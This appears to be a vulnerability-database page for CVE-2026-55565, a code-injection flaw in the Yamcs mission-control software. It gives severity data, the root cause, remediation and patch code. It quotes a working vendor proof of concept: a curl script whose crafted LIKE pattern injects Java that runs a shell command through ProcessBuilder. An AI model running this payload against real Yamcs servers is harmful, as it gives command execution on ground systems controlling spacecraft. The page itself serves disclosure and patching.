Skip to main content

Yamcs CVE-2026-55565

| EUVDEUVD-2026-67844 CRITICAL
Code Injection (CWE-94)
2026-08-28 https://github.com/yamcs/yamcs GHSA-c64q-hj4j-375f
9.9
CVSS 3.1 · Vendor: https://github.com/yamcs/yamcs
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Authenticate with read-only privilege
  2. Delivery
    Submit crafted LIKE pattern via events/tables/SQL endpoint
  3. Exploit
    Break out of generated Java string literal
  4. Execution
    Janino compiles static{} initializer
  5. Persist
    ProcessBuilder runs OS command as Yamcs user
  6. Impact
    Command injection, telemetry/telecommand tampering

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Code injection prevention, sandbox exec
MITRE ATT&CK

2 techniques across 2 tactics: Execution, Initial Access

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires an authenticated Yamcs account (PR:L) holding any one of several routine privileges - ControlArchiving (executeSql/streamSql), ReadTables (readRows query field), ReadEvents (events q= search and export/stream variants), or ReadActivities (listActivities q) - and network access to the corresponding /api/archive endpoints (default HTTP port 8090). The concrete trigger is a LIKE pattern containing a double-quote character that breaks out of the Utils.like(...) Java string literal so it is compiled by Janino; a benign pattern such as 'abc%' does nothing. No non-default configuration is needed: no SecurityManager/Janino sandbox is configured by default, and the flaw is independent of the overrideAlgorithmsEnabled gate and does not need ChangeMissionDatabase. Limiting factors: the attacker must already be authenticated with one of the above read-or-control privileges, so fully unauthenticated exploitation is not indicated by the data; exploitation via executeSql generates no Yamcs event and is not audit-logged, though the request may appear in HTTP access logs.

Impact

This is a genuine high-priority issue rather than a high-CVSS-but-low-real-risk case. The CVSS 3.1 vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H (9.9) indicates network reachability, low complexity, no user interaction, and only low privileges, with a scope change reflecting escape from the application to the host OS. The severity is amplified by the reachability analysis: exploitation does not require the ControlArchiving privilege on executeSql - it also works from ReadTables (readRows query field), ReadEvents (events q= search, plus export/stream variants), and ReadActivities, all routine read-only permissions, which materially widens the exploitable population. A working PoC is published in the vendor advisory, increasing exploitability. Signals not present in the input temper the urgency: there is no EPSS score, no SSVC decision data, and no CISA KEV listing provided, so there is no evidence of active in-the-wild exploitation - treat this as publicly-exploitable-but-not-confirmed-exploited. PR:L is confirmed by the vector, so exploitation does require some authenticated access; Yamcs deployments exposing these APIs to lower-trust users are at greatest risk.

Exploit ScenarioDerived

An operator holding only a routine read-only privilege (e.g., ReadEvents) opens the Yamcs Events page and enters a search term crafted to break out of the generated Java LIKE literal and add a static{} block invoking ProcessBuilder. When Yamcs compiles the filter class with Janino, the initializer runs and executes an OS command (e.g., writing to /tmp/pwned) as the Yamcs OS user. A published vendor PoC demonstrates the same break-out via executeSql, and given AV:N/AC:L/UI:N the attack needs no victim interaction beyond the attacker's own authenticated request.

Act Now Prioritize within 24-48h. Why: CRITICAL severity + public POC available.
Patch available 0.5% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 28, 2026

Remote code execution in Yamcs (yamcs-core <= 5.12.7 and 5.13.0-5.13.1) lets an authenticated, low-privileged user run arbitrary OS commands by injecting a StreamSQL LIKE pattern that breaks out of a generated Java string literal compiled at runtime by Janino. Because the pattern is embedded raw whether it arrives as a SQL literal or a bound '?' argument, the sink is reachable not only from the archiving endpoints but from routine read-only APIs (readRows, events search, activities listing), including the Events page search box. A detailed vendor-published proof of concept exists; this is not in CISA KEV, so it is publicly available exploit code rather than confirmed active exploitation.

RemediationAI

Vendor-released patch: upgrade yamcs-core to 5.12.8 (for the 5.12.x line) or to 5.13.2 (for the 5.13.x line), per GHSA-c64q-hj4j-375f; the fix (commits 640e1598b7097b521692e89dd47a39b6cb1fc663 and a8fb4a0693fa62a6eb729b26016d1090dd8b289c) replaces the raw code.append(likeClause.pattern) in LikeExpression with ValueExpression.escapeJavaString(likeClause.pattern, code), closing all of the affected endpoints via the single sink. Release notes: https://github.com/yamcs/yamcs/releases/tag/yamcs-5.12.8 and https://github.com/yamcs/yamcs/releases/tag/yamcs-5.13.2. If you cannot patch immediately, restrict who holds ControlArchiving, ReadTables, ReadEvents, and ReadActivities and limit network exposure of the /api/archive endpoints and the Events page search to trusted operators only - note the trade-off that this curtails legitimate read-only archive, event, and activity queries for those users. As additional defense-in-depth the vendor recommends passing the pattern as a bound argument, auditing every cook() path, and compiling generated classes under a classloader that cannot reach Runtime/ProcessBuilder; also independently harden the readRows path by validating cols and not accepting a free-form query at ReadTables.

Affected VersionsENISA

yamcs < 5.12.8
yamcs 5.13.0, < 5.13.2

Affected Packages

maven org.yamcs:yamcs-core fix: 5.12.8, 5.13.2
euvd yamcs fix: 5.12.8, 5.13.2

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in maven, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Yamcs is an open-source mission control system for satellites and other spacecraft/vehicles; the affected component is the Maven artifact org.yamcs:yamcs-core, specifically its StreamSQL engine. StreamSQL query expressions are compiled to Java source at stream-preparation time and cooked into classes with Janino's SimpleCompiler (Expression.java:205/213). The root cause is CWE-94 (Improper Control of Generation of Code / code injection): LikeExpression.fillCode_getValueReturn (LikeExpression.java:26) appends the user-supplied likeClause.pattern directly into a Utils.like(<col>, "<pattern>") Java string literal without escaping, while the sibling ValueExpression correctly escapes literals via escapeJavaString(). A review of all 35 StreamSQL code generators found LikeExpression to be the only unescaped one. The grammar (StreamSql.jj) permits a double-quote inside a single-quoted SQL string and does not escape '"' or '\', so a crafted pattern closes the literal and method, adds a static{} initializer that executes at class load, and reopens a dummy method so the class still compiles. No SecurityManager or Janino sandbox is configured, so the generated code can reach Runtime/ProcessBuilder.

Know when Java gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/yamcs/yamcs) PRIMARY 9.9 CRITICAL
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
vuln.today AI 9.9 CRITICAL

Network-reachable API needing only a routine authenticated read privilege (PR:L) with no user interaction; injected code escapes the app to run as the OS user (S:C) with full C/I/A loss.

3.1 AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Primary rating from Vendor (https://github.com/yamcs/yamcs).

CVSS VectorVendor: https://github.com/yamcs/yamcs

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

DescriptionCVE.org

Summary

Yamcs compiles StreamSQL query expressions to Java at runtime with Janino. The LIKE operator inserts the user-supplied pattern into the generated Java unescaped, inside a "..." literal, so a pattern containing " breaks out and injects arbitrary Java (e.g. a static{} block that runs an OS command when the compiled filter class loads). Result: RCE as the OS user running Yamcs.

The pattern is embedded raw whether it comes from a SQL string literal or a bound ? argument, so the sink is reachable from any endpoint that builds a LIKE from user input, at routine read-only privileges, not just executeSql:

  • POST /api/archive/{instance}:executeSql and :streamSql (privilege ControlArchiving)
  • POST /api/archive/{instance}/tables/{table}:readRows via the query field (privilege ReadTables)
  • GET /api/archive/{instance}/events?q= and the event export/stream variants (privilege ReadEvents)
  • listActivities q (privilege ReadActivities)

The Events page search box feeds q directly.

Independent of the May-2026 algorithm-override RCEs (CVE-2026-46562/46621/44632): it needs none of ChangeMissionDatabase and is not affected by the overrideAlgorithmsEnabled gate.

Details

  • Sink: Expression#getCompiledExpression compiles generated source with SimpleCompiler.cook(...) (Expression.java:205) and instantiates it (Expression.java:213) at stream prep, before any tuple flows.
  • Injection: LikeExpression#fillCode_getValueReturn (LikeExpression.java:26) appends likeClause.pattern raw into Utils.like(<col>, "<pattern>"). The safe sibling ValueExpression escapes literals via escapeJavaString() (ValueExpression.java:82-85); a review of all 35 streamsql code-generators found LikeExpression to be the only unescaped one.
  • Grammar: S_STRING = "'" (~["'"])* "'" (StreamSql.jj:222) allows "; getNonEscapedString (StreamSql.jj:36) does not escape " or \.
  • Reachability: TableApi#executeSql (TableApi.java:399) checks only ControlArchiving, then passes the raw statement to ydb.createStatement(...). No SecurityManager or Janino sandbox is configured, so the compiled code can call Runtime/ProcessBuilder. :streamSql (TableApi.java:447) is equally affected.
  • The sink is reachable from several lower-privilege endpoints, not just executeSql. A LIKE pattern is embedded raw whether it comes from a SQL literal or a bound ? argument (nextArgAsString -> likeClause.pattern), so any endpoint building ... LIKE ? with attacker input also reaches it:
  • POST .../tables/{table}:readRows (TableApi.java:276, privilege ReadTables): the query and cols request fields are concatenated raw into the executed StreamSQL (sqlb.where(request.getQuery())). Verified RCE.
  • GET .../events?q= (listEvents, EventsApi.java:79/109) and exportEvents/streamEvents (EventsApi.java:290/344), privilege ReadEvents: body.message like ? with "%"+q+"%". Verified RCE.
  • listActivities (ActivitiesApi.java:86/113), privilege ReadActivities: detail like ? with "%"+q+"%".

ReadTables/ReadEvents/ReadActivities are routine read-only permissions. The single escapeJavaString fix below closes all of these (one sink). The raw readRows WHERE/cols concatenation is an additional StreamSQL-injection that should be fixed independently (validate cols, do not accept a free-form query at ReadTables).

Proof of Concept

Against a Yamcs server with security enabled (default HTTP port 8090), as a user holding only ControlArchiving.

bash
BASE=http://<host>:8090
INSTANCE=<instance>
# 1. Get a token for a ControlArchiving user.
TOK=$(curl -s -X POST "$BASE/auth/token" \
  -d 'grant_type=password&username=USER&password=PASS' \
  | python3 -c 'import sys,json;print(json.load(sys.stdin)["access_token"])')
# 2. Create a table with a string column.
curl -s -X POST "$BASE/api/archive/$INSTANCE:executeSql" \
  -H "Authorization: Bearer $TOK" -H 'Content-Type: application/json' \
  -d '{"statement":"create table demo(gentime timestamp, y string, primary key(gentime))"}'
# 3. Inject the LIKE pattern. It closes the generated Java string and method, adds a
#    static{} initializer that runs an OS command, then reopens a dummy method so the
#    generated class still compiles.
PATTERN='a"); } static { try { new ProcessBuilder(new String[]{"/bin/sh","-c","id > /tmp/pwned"}).start().waitFor(); } catch (Exception e) {} } public Object dummy() { return Integer.valueOf("1'
SQL="create stream pwn as select * from demo where y like '$PATTERN'"
curl -s -X POST "$BASE/api/archive/$INSTANCE:executeSql" \
  -H "Authorization: Bearer $TOK" -H 'Content-Type: application/json' \
  -d "$(python3 -c 'import sys,json;print(json.dumps({"statement":sys.argv[1]}))' "$SQL")"
# 4. Proof: the command ran as the Yamcs OS user (on the server host).
cat /tmp/pwned
# -> uid=...(...)

A benign like 'abc%' does nothing; exploitation depends on the " break-out.

Impact

Arbitrary OS command execution as the Yamcs user: telecommand injection/suppression, telemetry tampering, filesystem and credential/key access, lateral movement, persistence. The attacker needs only a read-only archive privilege, not an MDB/archive-control role: the sink is reachable via executeSql (ControlArchiving), readRows (ReadTables), the events list/export/stream endpoints (ReadEvents), and the activities listing (ReadActivities).

Exploitation via executeSql generates no Yamcs event and is not audit-logged (the created table/stream persist and the request may appear in an HTTP access log).

Remediation

Escape the pattern like other literals, in LikeExpression.fillCode_getValueReturn:

java
code.append(", \"");
ValueExpression.escapeJavaString(likeClause.pattern, code);  // was: code.append(likeClause.pattern);
code.append("\")");

Defence-in-depth: pass the pattern as a bound argument instead of inlining it; audit every cook() path; compile generated classes under a classloader that cannot reach Runtime/ProcessBuilder.

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 7 maven packages depend on org.yamcs:yamcs-core (7 direct, 0 indirect)

Ecosystem-wide dependent count for version 5.13.0.

Technical POC Analysis

CWE-94: code injection in org.yamcs:yamcs-core, specifically org.yamcs.yarch.streamsql.LikeExpression.fillCodegetValueReturn (LikeExpression.java).

Full technical POC analysis - root cause, step-by-step exploitation and patch breakdown - is part of the Pro and Business plans.

Executive ViewAI

Why It Matters

Yamcs mission control software versions 5.12.7 and earlier, plus 5.13.0-5.13.1 contain a critical remote code execution vulnerability that allows any authenticated user to execute arbitrary system commands, enabling them to disrupt, manipulate, or intercept spacecraft operations. Organizations operating ground stations or command centers using these versions face immediate risk of mission failure, data compromise, and operational continuity loss without urgent remediation.

Business Impact: Severe
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.5%
Top 62% exploitable
Prevalence
Low
niche open-source mission-control software, limited to aerospace/spacecraft operators
Threat Intel
1
1 sources
Exploit
POC
Public exploit code exists
Data Quality
6 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA GitHub

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC Yes
EPSS 0.5%
Patch available Yes
Active threat No
Deciding rule
CRITICAL severity + public POC available
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Out-of-Cycle
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact
Very High
Technical Impact
Total

Priority Score

70
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +50
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

Code Injection CRITICAL

Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

More in Java

View all
CVE-2012-4681 CRITICAL POC
9.8 Aug 28

Oracle Java SE 7 Update 6 and earlier contains multiple sandbox bypass vulnerabilities via the ClassFinder and forName m

CVE-2015-7450 CRITICAL POC
9.8 Jan 02

Remote code execution in IBM Sterling B2B Integrator, Sterling Integrator, and Tivoli Common Reporting allows unauthenti

CVE-2013-2465 CRITICAL POC
9.8 Jun 18

Java Runtime Environment sandbox bypass via incorrect image channel verification in 2D component allows remote unauthent

CVE-2011-3544 CRITICAL POC
9.8 Oct 19

Oracle Java SE JDK/JRE 7 and 6 Update 27 and earlier allows remote code execution with complete system compromise throug

CVE-2010-1871 HIGH POC
8.8 Aug 05

JBoss Seam 2 in Red Hat JBoss EAP 4.3.0 fails to sanitize JBoss Expression Language inputs, allowing remote attackers to

CVE-2012-1723 CRITICAL POC
9.8 Jun 16

Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE 7 update 4 and earlier, 6 up

CVE-2013-0422 CRITICAL POC
9.8 Jan 10

Multiple vulnerabilities in Oracle Java 7 before Update 11 allow remote attackers to execute arbitrary code by (1) using

CVE-2012-0507 CRITICAL POC
9.8 Jun 07

Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE 7 Update 2 and earlier, 6 Up

CVE-2015-4852 CRITICAL POC
9.8 Nov 18

The WLS Security component in Oracle WebLogic Server 10.3.6.0, 12.1.2.0, 12.1.3.0, and 12.2.1.0 allows remote attackers

CVE-2012-5076 CRITICAL POC
9.8 Oct 16

Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE 7 Update 7 and earlier allow

CVE-2017-3066 CRITICAL POC
9.8 Apr 27

Remote unauthenticated attackers can execute arbitrary code on Adobe ColdFusion servers through Java deserialization fla

CVE-2012-0391 CRITICAL POC
9.8 Jan 08

The ExceptionDelegator component in Apache Struts before 2.2.3.1 interprets parameter values as OGNL expressions during

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy